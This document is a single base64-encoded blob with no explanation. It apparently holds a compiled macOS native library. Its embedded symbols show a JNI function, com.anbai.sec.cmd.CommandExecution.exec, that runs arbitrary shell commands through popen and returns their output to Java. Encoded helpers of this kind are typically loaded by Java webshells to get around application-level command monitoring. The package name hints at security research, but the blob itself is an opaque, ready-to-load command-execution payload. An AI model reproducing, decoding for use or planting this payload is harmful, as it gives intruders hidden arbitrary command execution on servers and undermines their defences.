AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVSInlSIHsMAEAAEiLBTYHAABIiwBIiUX4SIm9YP///0iJtVj///9IiZVQ////SIO9UP///wAPhEYBAABIi71g////SIu1UP///0iNlU/////opAUAAEiJhUD///9Ii71A////SI01aQYAAOjABQAASImFOP///0iDvTj///8AD4T4AAAASI29IP///+ivAQAASIuVOP///0iNvXD///++gAAAAOh1BQAASImFCP///+kAAAAASIuFCP///0iD+AAPhEQAAABIjb0g////SI21cP///+iHAQAASImFAP///+kAAAAA6af///+J0UiJhRj///+JjRT///9Ijb0g////6AEFAADpbgAAAEiLvTj////oFAUAAImF/P7//+kAAAAASIu9YP///0iNhSD///9Iib3w/v//SInH6JIBAABIi73w/v//SInG6KcEAABIiYXo/v//6QAAAABIi4Xo/v//SImFaP///0iNvSD////okwQAAOkVAAAA6UUAAADpAAAAAEjHhWj///8AAAAASIuFaP///0iLDa0FAABIiwlIi1X4SDnRSImF4P7//w+FLQAAAEiLheD+//9IgcQwAQAAXcNIi70Y////6CAEAAAPC0iJx0iJldj+///oEQEAAOg0BAAADwtmLg8fhAAAAAAAVUiJ5UiD7DBIiX34SIl18EiJVehIi1X4SIsySIu2SAUAAEiLffBIi0XoSIl94EiJ10iLVeBIiXXYSInWSInCSItF2P/QSIPEMF3DDx9EAABVSInlSIPsEEiJffhIi3346KsAAABIg8QQXcMPH0QAAFVIieVIg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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDwAAAAAAAFALAAAAAAAAsAoAAAAAAAAIDwAAAAAAABIPAAAAAAAAHA8AAAAAAAAmDwAAAAAAADoPAAAAAAAARA8AAAAAAABODwAAAAAAAFgPAAAAAAAAYg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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